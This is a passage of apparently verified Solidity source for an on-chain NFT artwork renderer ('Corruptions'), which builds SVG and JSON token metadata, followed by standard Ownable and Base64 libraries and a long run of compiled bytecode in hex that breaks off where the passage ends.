string(abi.encodePacked(bytes(randParts.phrase)[2])), 15, 15, 10, true); canvas = _circle(canvas, string(abi.encodePacked(bytes(randParts.phrase)[3])), 15, 15, 9, true); canvas = _circle(canvas, string(abi.encodePacked(bytes(randParts.phrase)[4])), 15, 15, 8, true); canvas = _circle(canvas, string(abi.encodePacked(bytes(randParts.phrase)[5])), 15, 15, 7, true); canvas = _circle(canvas, string(abi.encodePacked(bytes(randParts.phrase)[6])), 15, 15, 6, true); canvas = _circle(canvas, string(abi.encodePacked(bytes(randParts.phrase)[7])), 15, 15, 5, true); canvas = _circle(canvas, string(abi.encodePacked(bytes(randParts.phrase)[8])), 15, 15, 4, true); canvas = _circle(canvas, string(abi.encodePacked(bytes(randParts.phrase)[9])), 15, 15, 3, true); } } uint256 iterations = uint256(keccak256(abi.encodePacked("CORRUPTION", tokenId))) % 1024; if (randParts.reduction > 0) { iterations = iterations % randParts.reduction; } for (uint256 i = 0; i < iterations; i++) { if (randParts.alternate && i % 2 == 0) { canvas = _box(canvas, randParts.border, uint256(keccak256(abi.encodePacked("X", i, tokenId))) % 30, uint256(keccak256(abi.encodePacked("Y", i, tokenId))) % 30, 1, 1, true); } else { canvas = _box(canvas, randParts.corruptor, uint256(keccak256(abi.encodePacked("X", i, tokenId))) % 30, uint256(keccak256(abi.encodePacked("Y", i, tokenId))) % 30, 1, 1, true); } } if (!randParts.omitInsight) { uint256 length = 8 + bytes(toString(amount)).length; canvas = _text(canvas, string(abi.encodePacked("INSIGHT ", toString(amount))), length, 31 - length, 30); for (uint i = 10; i > 0; i--) { if (amount >= i * 2) { canvas = _middleBox(canvas, string(abi.encodePacked(bytes(randParts.phrase)[i - 1])), randParts.checker, i, true); } } } string memory output = ""; randParts.r4 = amount >= 20 && bytes(oCanvas[0]).length == 0 ? 1 : 0; string[12] memory parts; parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 820 1460"><style>@font-face { font-family: CorruptionsFont; src: url("'; if (randParts.r4 > 0) { parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 1640 1460"><style>@font-face { font-family: CorruptionsFont; src: url("'; } parts[1] = font.font(); parts[2] = '") format("opentype"); } .base { fill: '; parts[3] = randomStrings[11 + uint256(keccak256(abi.encodePacked("BGCOLOR", tokenId))) % 6]; parts[4] = '; font-family: CorruptionsFont; font-size: 10px; }</style><g transform=\"scale(4 4)\"><rect width="205" height="365" fill="'; if (randParts.r4 > 0) { parts[4] = '; font-family: CorruptionsFont; font-size: 10px; }</style><g transform=\"scale(4 4)\"><rect width="410" height="365" fill="'; } parts[5] = amount >= 2 ? randomStrings[17 + uint256(keccak256(abi.encodePacked("FGCOLOR", tokenId))) % 6] : randomStrings[27 + uint256(keccak256(abi.encodePacked("FGCOLOR", tokenId))) % 6]; parts[6] = '" />'; parts[7] = ""; parts[8] = ""; parts[9] = ""; parts[10] = ""; parts[11] = '</g></svg>'; if (randParts.r4 > 0) { randParts.colorCanvas = _blank(randParts.colorCanvas, true); iterations = amount / 4; for (uint256 i = 0; i < iterations; i++) { randParts.r1 = uint256(keccak256(abi.encodePacked("X2", i, tokenId))) % 30; randParts.r2 = uint256(keccak256(abi.encodePacked("Y2", i, tokenId))) % 29; randParts.colorCanvas = _box(randParts.colorCanvas, i % 2 == 0 ? randParts.border : randParts.corruptor, randParts.r1, randParts.r2, 1, 1, true); canvas = _box(canvas, "&#x000A0;", randParts.r1, randParts.r2, 1, 1, false); } for (uint8 i = 0; i < 30; i++) { parts[9] = randomStrings[11 + ((tokenId + i) * i * 41) % 6]; parts[8] = string(abi.encodePacked( parts[8], '<text x="10" y="', lookup[i], '" class="base" style="fill: ', parts[9], '">', randParts.colorCanvas[i], '</text>' )); } parts[9] = ""; // randParts.colorCanvas = _blank(randParts.colorCanvas, true); randParts.colorCanvas = _box(randParts.colorCanvas, "|", 0, 0, 31, 1, true); randParts.colorCanvas = _box(randParts.colorCanvas, "|", 0, 0, 1, 6, true); randParts.colorCanvas = _box(randParts.colorCanvas, "|", 30, 0, 1, 6, true); randParts.colorCanvas = _box(randParts.colorCanvas, "|", 0, 5, 31, 1, true); randParts.colorCanvas = _text(randParts.colorCanvas, " CONCEPTS ", 10, 2, 0); randParts.colorCanvas = _text(randParts.colorCanvas, string(abi.encodePacked("+ ", randParts.phrase)), 12, 2, 2); randParts.colorCanvas = _text(randParts.colorCanvas, string(abi.encodePacked("+ ", randomStrings[27 + uint256(keccak256(abi.encodePacked("FGCOLOR", tokenId))) % 6])), 12, 2, 3); for (uint8 i = 0; i < 6; i++) { parts[9] = string(abi.encodePacked( parts[9], '<text x="10" y="', lookup[i], '" class="base">', randParts.colorCanvas[i], '</text>' )); } // parts[9] = string(abi.encodePacked( // '<g transform=\"translate(200 0)\">', parts[9], '</g>' // )); } for (uint8 i = 0; i < 31; i++) { output = string(abi.encodePacked( output, '<text x="10" y="', lookup[i], '" class="base">', canvas[i], '</text>' )); } parts[7] = output; output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6])); output = string(abi.encodePacked(output, parts[7], parts[8], '<g transform=\"translate(200 0)\">', parts[9], '</g>', parts[10], parts[11])); return Base64.encode(bytes(output)); } function tokenURI(uint256 tokenId, uint256 amount) override external view returns (string memory) { InsightMap memory insightMap = corruptions.insightMap(tokenId); if (insightMap.lastSaveBlock <= 13604851 && tokenId != 3193) { amount += 1; // fix early transfer bug } string memory json; string[32] memory emptyCanvas; if (tokenId == 4144) { // hard-coding since bidirectional data mapper wasn't used in expected way. expected key 0 to == the token id, but this wasn't explained // will explain better next time it's needed (or perhaps just code the inputs into the respective contract directly) json = Base64.encode(bytes(string(abi.encodePacked('{"name": "0x', toHexString(tokenId), ' (Menes, Goddess of Kingdoms)", "description": "', description, '", "image": "', menes.base(), '", "attributes": [{"trait_type": "Type", "value": "???"}]}')))); } else if (dataMapper.valueFor(0, tokenId) > 0) { DeviationInfo memory info = ICorruptionsDeviationRegistry(0x40f7ad19c7F37AcD76958d61Cbc783c77411cd9b).valueFor(dataMapper.valueFor(0, tokenId)); json = Base64.encode(bytes(string(abi.encodePacked('{"name": "0x', toHexString(tokenId), '", "description": "', description, '", "image": "data:image/svg+xml;base64,', draw(tokenId, amount, ICorruptionsDeviationWriter(info.contractAddress).drawCanvas(tokenId, amount)), '", "attributes": [{"trait_type": "Deviation", "value": "', info.name, '"}]}')))); } else { json = Base64.encode(bytes(string(abi.encodePacked('{"name": "0x', toHexString(tokenId), '", "description": "', description, '", "image": "data:image/svg+xml;base64,', draw(tokenId, amount, emptyCanvas), '", "attributes": [{"trait_type": "Insight", "value": "', toString(amount), '"}]}')))); } return string(abi.encodePacked("data:application/json;base64,", json)); } function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT license // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function toHexString(uint i) internal pure returns (string memory) { // https://stackoverflow.com/a/69302348/424107 if (i == 0) return "0"; uint j = i; uint length; while (j != 0) { length++; j = j >> 4; } uint mask = 15; bytes memory bstr = new bytes(length); uint k = length; while (i != 0) { uint curr = (i & mask); bstr[--k] = curr > 9 ? bytes1(uint8(55 + curr)) : bytes1(uint8(48 + curr)); // 55 = 65 - 10 i = i >> 4; } return string(bstr); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /// SPDX-License-Identifier: MIT /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <[email protected]> pragma solidity ^0.8.0; library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063c37fd0b111610066578063c37fd0b1146101fa578063c674101a1461020d578063d6b3417414610220578063f2fde38b1461023357610100565b80638da5cb5b146101ac57806390c3f38f146101c157806392cb829d146101d4578063ab7a14f8146101e757610100565b80635756d52e116100d35780635756d52e146101695780635ec33bb014610189578063715018a61461019c5780637284e416146101a457610100565b80630bd07a4b146101055780631e8851101461012e5780632b153459146101415780633ae24af514610156575b600080fd5b610118610113366004613d13565b610246565b60405161012591906149fa565b60405180910390f35b61011861013c366004613ee2565b61031a565b61015461014f366004613b8d565b61045b565b005b610118610164366004613e67565b6104c5565b61017c6101773660046140d6565b61057e565b6040516101259190614a55565b610118610197366004613c75565b612281565b6101546122e1565b61017c61232c565b6101b46123ba565b60405161012591906149e6565b6101546101cf366004613f79565b6123c9565b61017c6101e23660046140b5565b61241f565b6101186101f5366004613dce565b61285f565b610118610208366004613ee2565b61293d565b61011861021b366004613c2a565b6129ca565b61011861022e366004613e67565b612ab3565b610154610241366004613b8d565b612dbf565b61024e61393e565b878760005b8581101561030a5760008c6102688a84614b90565b6020811061028657634e487b7160e01b600052603260045260246000fd5b6020020151905060005b888110156102f5576102e3826102a68d84614b90565b60026102b28f86614b90565b6102bc8f89614b90565b6102c69190614b90565b6102d09190614e82565b156102db57866102dd565b875b8a612e30565b806102ed81614e4e565b915050610290565b5050808061030290614e4e565b915050610253565b50999a9950505050505050505050565b61032261393e565b86610365896103318689614b90565b6020811061034f57634e487b7160e01b600052603260045260246000fd5b602002015161035e878a614b90565b8386612e30565b6103a0896103738689614b90565b6020811061039157634e487b7160e01b600052603260045260246000fd5b602002015161035e878a614d83565b6103ae896103318689614d83565b6103bc896103738689614d83565b6103f7896103ca8789614b90565b602081106103e857634e487b7160e01b600052603260045260246000fd5b602002015161035e868a614b90565b610432896104058789614b90565b6020811061042357634e487b7160e01b600052603260045260246000fd5b602002015161035e868a614d83565b610440896103ca8789614d83565b61044e896104058789614d83565b5096979650505050505050565b610463613526565b6001600160a01b03166104746123ba565b6001600160a01b0316146104a35760405162461bcd60e51b815260040161049a90614aae565b60405180910390fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6104cd61393e565b60008683602081106104ef57634e487b7160e01b600052603260045260246000fd5b6020020151905060005b85811015610572576105608261050f8388614b90565b89848151811061052f57634e487b7160e01b600052603260045260246000fd5b602001015160f81c60f81b60405160200161054a9190614220565b6040516020818303038152906040526001612e30565b8061056a81614e4e565b9150506104f9565b50959695505050505050565b60606000604051806103e0016040528060405180604001604052806002815260200161032360f41b815250815260200160405180604001604052806002815260200161333160f01b8152508152602001604051806040016040528060028152602001611a1960f11b815250815260200160405180604001604052806002815260200161353360f01b8152508152602001604051806040016040528060028152602001610d8d60f21b815250815260200160405180604001604052806002815260200161373560f01b8152508152602001604051806040016040528060028152602001611c1b60f11b815250815260200160405180604001604052806002815260200161393760f01b81525081526020016040518060400160405280600381526020016206260760eb1b81525081526020016040518060400160405280600381526020016231313960e81b81525081526020016040518060400160405280600381526020016203133360ec1b81525081526020016040518060400160405280600381526020016231343160e81b815250815260200160405180604001604052806003815260200162189a9960e91b81525081526020016040518060400160405280600381526020016231363360e81b8152508152602001604051806040016040528060038152602001620c4dcd60ea1b81525081526020016040518060400160405280600381526020016231383560e81b815250815260200160405180604001604052806003815260200162189c9b60e91b81525081526020016040518060400160405280600381526020016232303760e81b81525081526020016040518060400160405280600381526020016206462760eb1b81525081526020016040518060400160405280600381526020016232323960e81b81525081526020016040518060400160405280600381526020016203234360ec1b81525081526020016040518060400160405280600381526020016232353160e81b815250815260200160405180604001604052806003815260200162191b1960e91b81525081526020016040518060400160405280600381526020016232373360e81b8152508152602001604051806040016040528060038152602001620c8e0d60ea1b81525081526020016040518060400160405280600381526020016232393560e81b81525081526020016040518060400160405280600381526020016219981b60e91b81525081526020016040518060400160405280600381526020016233313760e81b81525081526020016040518060400160405280600381526020016206664760eb1b81525081526020016040518060400160405280600381526020016233333960e81b81525081526020016040518060400160405280600381526020016203335360ec1b81525081525090506000604051806105000160405280604051806040016040528060018152602001602f60f81b8152508152602001604051806040016040528060018152602001600960fa1b8152508152602001604051806040016040528060018152602001601f60fa1b8152508152602001604051806040016040528060018152602001600760fb1b8152508152602001604051806040016040528060018152602001605f60f81b8152508152602001604051806040016040528060018152602001603f60f81b8152508152602001604051806040016040528060018152602001602360f81b8152508152602001604051806040016040528060018152602001602560f81b8152508152602001604051806040016040528060018152602001602f60f91b8152508152602001604051806040016040528060018152602001603f60f91b8152508152602001604051806040016040528060018152602001601d60f91b8152508152602001604051806040016040528060078152602001662330323246423760c81b81525081526020016040518060400160405280600781526020016611991b1920999b60c91b8152508152602001604051806040016040528060078152602001662341383032423760c81b8152508152602001604051806040016040528060078152602001661199a1a11b981960c91b81525081526020016040518060400160405280600781526020016611a11b9b23181960c91b81525081526020016040518060400160405280600781526020016608d08dcc0c8e0d60ca1b8152508152602001604051806040016040528060078152602001661198221899981960c91b8152508152602001604051806040016040528060078152602001662330323041313360c81b8152508152602001604051806040016040528060078152602001661198999819181960c91b8152508152602001604051806040016040528060078152602001661198a0989b189b60c91b8152508152602001604051806040016040528060078152602001660233030303030360cc1b8152508152602001604051806040016040528060078152602001662330343041323760c81b81525081526020016040518060400160405280600a81526020016923a2a722a920aa24a7a760b11b81525081526020016040518060400160405280600a8152602001691253911255925115505360b21b81525081526020016040518060400160405280600a815260200169544543484e4f4c4f475960b01b81525081526020016040518060400160405280600a81526020016945564552595448494e4760b01b81525081526020016040518060400160405280600a8152602001694556455259574845524560b01b81525081526020016040518060400160405280600a815260200169155391115495d3d4931160b21b81525081526020016040518060400160405280600a815260200169494c4c554d494e41544960b01b81525081526020016040518060400160405280600a8152602001692a22a6a82a20aa24a7a760b11b81525081526020016040518060400160405280600a8152602001692922ab22a620aa24a7a760b11b81525081526020016040518060400160405280600a81526020016921a7a9292aa82a24a7a760b11b8152508152602001604051806040016040528060018152602001601f60fa1b8152508152602001604051806040016040528060018152602001602d60f81b8152508152602001604051806040016040528060018152602001603d60f81b8152508152602001604051806040016040528060018152602001602b60f81b8152508152602001604051806040016040528060018152602001601760fa1b8152508152602001604051806040016040528060018152602001601d60f91b8152508152602001604051806040016040528060018152602001603f60f91b8152508152509050610f15613966565b81600b88604051602001610f299190614904565b6040516020818303038152906040528051906020012060001c610f4c9190614e82565b60288110610f6a57634e487b7160e01b600052603260045260246000fd5b6020020151816000018190525081600b88604051602001610f8b9190614888565b6040516020818303038152906040528051906020012060001c610fae9190614e82565b60288110610fcc57634e487b7160e01b600052603260045260246000fd5b6020020151816020018190525081600a88604051602001610fed9190614963565b6040516020818303038152906040528051906020012060001c6110109190614e82565b61101b906017614b90565b6028811061103957634e487b7160e01b600052603260045260246000fd5b602002015181604001819052508160078860405160200161105a919061486d565b6040516020818303038152906040528051906020012060001c61107d9190614e82565b611088906021614b90565b602881106110a657634e487b7160e01b600052603260045260246000fd5b602002015160608201526110b861393e565b855151602010156111a2576110ce8160006129ca565b6001608084015286519091506110e560208a614e82565b8151811061110357634e487b7160e01b600052603260045260246000fd5b01602001516111169060f81c6040614ba8565b60ff1660a0830152600160c083015260005b602081101561119c576111888288836020811061115557634e487b7160e01b600052603260045260246000fd5b602002015189846020811061117a57634e487b7160e01b600052603260045260246000fd5b602002015151600085612ab3565b91508061119481614e4e565b915050611128565b50611681565b8551511561123c576111b58160006129ca565b60016080840152604060a0840152905060005b602081101561119c57611228828883602081106111f557634e487b7160e01b600052603260045260246000fd5b602002015189846020811061121a57634e487b7160e01b600052603260045260246000fd5b6020020151516000856104c5565b91508061123481614e4e565b9150506111c8565b6112478160006129ca565b905061125f818360000151600080601f60018061293d565b90506112788183600001516000601e601f60018061293d565b90506112918183600001516000806001601f600161293d565b90506112ab818360000151601e60006001601f600161293d565b905061130c8183604001516000815181106112d657634e487b7160e01b600052603260045260246000fd5b602001015160f81c60f81b6040516020016112f19190614220565b604051602081830303815290604052600f80600c600161285f565b905061136d81836040015160018151811061133757634e487b7160e01b600052603260045260246000fd5b602001015160f81c60f81b6040516020016113529190614220565b604051602081830303815290604052600f80600b600161285f565b90506014871015611681576113d78183604001516002815181106113a157634e487b7160e01b600052603260045260246000fd5b602001015160f81c60f81b6040516020016113bc9190614220565b604051602081830303815290604052600f80600a600161285f565b905061143881836040015160038151811061140257634e487b7160e01b600052603260045260246000fd5b602001015160f81c60f81b60405160200161141d9190614220565b604051602081830303815290604052600f806009600161285f565b905061149981836040015160048151811061146357634e487b7160e01b600052603260045260246000fd5b602001015160f81c60f81b60405160200161147e9190614220565b604051602081830303815290604052600f806008600161285f565b90506114fa8183604001516005815181106114c457634e487b7160e01b600052603260045260246000fd5b602001015160f81c60f81b6040516020016114df9190614220565b604051602081830303815290604052600f806007600161285f565b905061155b81836040015160068151811061152557634e487b7160e01b600052603260045260246000fd5b602001015160f81c60f81b6040516020016115409190614220565b604051602081830303815290604052600f806006600161285f565b90506115bc81836040015160078151811061158657634e487b7160e01b600052603260045260246000fd5b602001015160f81c60f81b6040516020016115a19190614220565b604051602081830303815290604052600f806005600161285f565b905061161d8183604001516008815181106115e757634e487b7160e01b600052603260045260246000fd5b602001015160f81c60f81b6040516020016116029190614220565b604051602081830303815290604052600f806004600161285f565b905061167e81836040015160098151811061164857634e487b7160e01b600052603260045260246000fd5b602001015160f81c60f81b6040516020016116639190614220565b604051602081830303815290604052600f806003600161285f565b90505b600061040089604051602001611697919061497d565b6040516020818303038152906040528051906020012060001c6116ba9190614e82565b60a084015190915061ffff16156116e15760a08301516116de9061ffff1682614e82565b90505b60005b818110156117c7578360c0015180156117055750611703600282614e82565b155b156117945761178d838560000151601e848e604051602001611728929190614853565b6040516020818303038152906040528051906020012060001c61174b9190614e82565b601e858f6040516020016117609291906148cf565b6040516020818303038152906040528051906020012060001c6117839190614e82565b600180600161293d565b92506117b5565b6117b2838560200151601e848e604051602001611728929190614853565b92505b806117bf81614e4e565b9150506116e4565b5082608001516118c95760006117dc8961352a565b516117e8906008614b90565b905061182a836117f78b61352a565b604051602001611807919061499b565b60408051601f198184030181529190528361182381601f614d83565b601e6104c5565b9250600a5b80156118c657611840816002614ce4565b8a106118b4576118b184866040015160018461185c9190614d83565b8151811061187a57634e487b7160e01b600052603260045260246000fd5b602001015160f81c60f81b6040516020016118959190614220565b6040516020818303038152906040528760600151846001612281565b93505b806118be81614de4565b91505061182f565b50505b604080516020810190915260008152601489108015906118e95750875151155b6118f45760006118f7565b60015b60ff166101408501526119086139d4565b6040518060c00160405280609f8152602001614eee609f913981526101408501511561194a576040518060c0016040528060a0815260200161515d60a0913981525b600360009054906101000a90046001600160a01b03166001600160a01b0316639d37bc7c6040518163ffffffff1660e01b815260040160006040518083038186803b15801561199857600080fd5b505afa1580156119ac573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526119d49190810190613fab565b816001602002018190525060405180606001604052806027815260200161538d6027913981600260200201819052508560068c604051602001611a179190614566565b6040516020818303038152906040528051906020012060001c611a3a9190614e82565b611a4590600b614b90565b60288110611a6357634e487b7160e01b600052603260045260246000fd5b602002015181600360200201819052506040518060a0016040528060798152602001614f8d60799139608082015261014085015115611abb576040518060a00160405280607981526020016153146079913960808201525b60028a1015611b2e578560068c604051602001611ad8919061454b565b6040516020818303038152906040528051906020012060001c611afb9190614e82565b611b0690601b614b90565b60288110611b2457634e487b7160e01b600052603260045260246000fd5b6020020151611b94565b8560068c604051602001611b42919061454b565b6040516020818303038152906040528051906020012060001c611b659190614e82565b611b70906011614b90565b60288110611b8e57634e487b7160e01b600052603260045260246000fd5b60200201515b60a082015260408051808201825260048152631110179f60e11b60208083019190915260c084019190915281518082018352600080825260e08501919091528251808301845281815261010085015282518083018452818152610120850152825180830184529081526101408401528151808301909252600a8252691e17b39f1e17b9bb339f60b11b9082015281600b60200201526101408501511561214357611c4485610160015160016129ca565b610160860152611c5560048b614bcd565b925060005b83811015611d7257601e818d604051602001611c779291906149cb565b6040516020818303038152906040528051906020012060001c611c9a9190614e82565b60e0870152604051601d90611cb59083908f906020016148e9565b6040516020818303038152906040528051906020012060001c611cd89190614e82565b610100870152610160860151611d1a90611cf3600284614e82565b15611d02578760200151611d05565b87515b8860e00151896101000151600180600161293d565b866101600181905250611d5e856040518060400160405280600981526020016826237830303041303b60b81b8152508860e00151896101000151600180600061293d565b945080611d6a81614e4e565b915050611c5a565b5060005b601e8160ff161015611e89578660068260ff168360ff168f611d989190614b90565b611da29190614ce4565b611dad906029614ce4565b611db79190614e82565b611dc290600b614b90565b60288110611de057634e487b7160e01b600052603260045260246000fd5b60200201516101208301526101008201518860ff8316601f8110611e1457634e487b7160e01b600052603260045260246000fd5b602002015183600960200201518861016001518460ff1660208110611e4957634e487b7160e01b600052603260045260246000fd5b6020020151604051602001611e619493929190614489565b60408051808303601f1901815291905261010083015280611e8181614e62565b915050611d76565b506040805160208101909152600081528160096020020181905250611ed4856101600151604051806040016040528060018152602001601f60fa1b815250600080601f60018061293d565b856101600181905250611f0e856101600151604051806040016040528060018152602001601f60fa1b81525060008060016006600161293d565b856101600181905250611f49856101600151604051806040016040528060018152602001601f60fa1b815250601e600060016006600161293d565b856101600181905250611f83856101600151604051806040016040528060018152602001601f60fa1b81525060006005601f60018061293d565b610160860181905260408051808201909152600a8082526901021a7a721a2a82a29960b51b6020830152611fbc929190600260006104c5565b61016086018190526040808701519051611ff69291611fdd916020016148a5565b604051602081830303815290604052600c6002806104c5565b8561016001819052506120978561016001518760068e60405160200161201c919061454b565b6040516020818303038152906040528051906020012060001c61203f9190614e82565b61204a90601b614b90565b6028811061206857634e487b7160e01b600052603260045260246000fd5b602002015160405160200161207d91906148a5565b604051602081830303815290604052600c600260036104c5565b61016086015260005b60068160ff161015612141576101208201518860ff8316601f81106120d557634e487b7160e01b600052603260045260246000fd5b60200201518761016001518360ff166020811061210257634e487b7160e01b600052603260045260246000fd5b6020020151604051602001612119939291906143f9565b60408051808303601f190181529190526101208301528061213981614e62565b9150506120a0565b505b60005b601f8160ff1610156121d95782888260ff16601f811061217657634e487b7160e01b600052603260045260246000fd5b6020020151868360ff166020811061219e57634e487b7160e01b600052603260045260246000fd5b60200201516040516020016121b5939291906143f9565b604051602081830303815290604052925080806121d190614e62565b915050612146565b5060e0810182905280516020808301516040808501516060860151608087015160a088015160c0890151945161221898979495939492939192016142ac565b60408051808303601f190181529082905260e08301516101008401516101208501516101408601516101608701519497506122589588959060200161433e565b60405160208183030381529060405291506122728261364e565b9b9a5050505050505050505050565b61228961393e565b6122d786868661229a87600f614d83565b6122a588600f614d83565b6122b0896002614ce4565b6122bb906001614b90565b6122c68a6002614ce4565b6122d1906001614b90565b89610246565b9695505050505050565b6122e9613526565b6001600160a01b03166122fa6123ba565b6001600160a01b0316146123205760405162461bcd60e51b815260040161049a90614aae565b61232a60006137c1565b565b6001805461233990614df3565b80601f016020809104026020016040519081016040528092919081815260200182805461236590614df3565b80156123b25780601f10612387576101008083540402835291602001916123b2565b820191906000526020600020905b81548152906001019060200180831161239557829003601f168201915b505050505081565b6000546001600160a01b031690565b6123d1613526565b6001600160a01b03166123e26123ba565b6001600160a01b0316146124085760405162461bcd60e51b815260040161049a90614aae565b805161241b9060019060208401906139ef565b5050565b60055460405163035d91ef60e41b81526060916000916001600160a01b03909116906335d91ef090612455908790600401614ae3565b604080518083038186803b15801561246c57600080fd5b505afa158015612480573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124a4919061406a565b905062cf97f38160200151111580156124bf575083610c7914155b156124d2576124cf600184614b90565b92505b60606124dc61393e565b8561103014156125ab576125a46124f287613811565b6001600460009054906101000a90046001600160a01b03166001600160a01b0316635001f3b56040518163ffffffff1660e01b815260040160006040518083038186803b15801561254257600080fd5b505afa158015612556573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261257e9190810190613fab565b60405160200161259093929190614755565b60405160208183030381529060405261364e565b9150612833565b60025460405163710d640360e01b81526000916001600160a01b03169063710d6403906125de9084908b90600401614a47565b60206040518083038186803b1580156125f657600080fd5b505afa15801561260a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061262e919061409d565b11156127fb5760025460405163710d640360e01b81526000917340f7ad19c7f37acd76958d61cbc783c77411cd9b91632b0cc6a7916001600160a01b03169063710d6403906126839086908d90600401614a47565b60206040518083038186803b15801561269b57600080fd5b505afa1580156126af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126d3919061409d565b6040518263ffffffff1660e01b81526004016126ef9190614ae3565b60006040518083038186803b15801561270757600080fd5b505afa15801561271b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526127439190810190613fdd565b90506127f361275188613811565b60016127de8a8a86602001516001600160a01b031663be7c98ad8e8e6040518363ffffffff1660e01b815260040161278a929190614a47565b60006040518083038186803b1580156127a257600080fd5b505afa1580156127b6573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526101779190810190613bb0565b84516040516125909493929190602001614581565b925050612833565b61283061280787613811565b600161281489898661057e565b61281d8961352a565b6040516020016125909493929190614671565b91505b81604051602001612844919061491e565b60405160208183030381529060405293505050505b92915050565b61286761393e565b600083810b81612878866002614c64565b612883906003614d42565b60000b90506128978a8a8a8a87878b61031a565b99505b82821261292f57826128ab81614e2e565b93505060008113156128f657816128c181614dc6565b92506128cf90508284614d03565b6128da906004614be1565b6128e49082614b4f565b6128ef90600a614b4f565b9050612919565b612901836004614be1565b61290b9082614b4f565b612916906006614b4f565b90505b6129288a8a8a8a87878b61031a565b995061289a565b509798975050505050505050565b61294561393e565b8660005b8481101561292f5760008a61295e8984614b90565b6020811061297c57634e487b7160e01b600052603260045260246000fd5b6020020151905060005b878110156129b5576129a38261299c8c84614b90565b8689612e30565b806129ad81614e4e565b915050612986565b505080806129c290614e4e565b915050612949565b6129d261393e565b8115612a465760005b60208160ff161015612a3d5760405180610140016040528061011781526020016151fd6101179139848260ff1660208110612a2657634e487b7160e01b600052603260045260246000fd5b602002015280612a3581614e62565b9150506129db565b50829050612859565b60005b60208160ff161015612aab5760405180610140016040528061011781526020016150066101179139848260ff1660208110612a9457634e487b7160e01b600052603260045260246000fd5b602002015280612aa381614e62565b915050612a49565b509192915050565b612abb61393e565b6000868360208110612add57634e487b7160e01b600052603260045260246000fd5b6020020151905060005b612af2600987614bcd565b81101561057257600087612b07836009614ce4565b81518110612b2557634e487b7160e01b600052603260045260246000fd5b01602001516001600160f81b03191688612b40846009614ce4565b612b4b906001614b90565b81518110612b6957634e487b7160e01b600052603260045260246000fd5b01602001516001600160f81b03191689612b84856009614ce4565b612b8f906002614b90565b81518110612bad57634e487b7160e01b600052603260045260246000fd5b01602001516001600160f81b0319168a612bc8866009614ce4565b612bd39060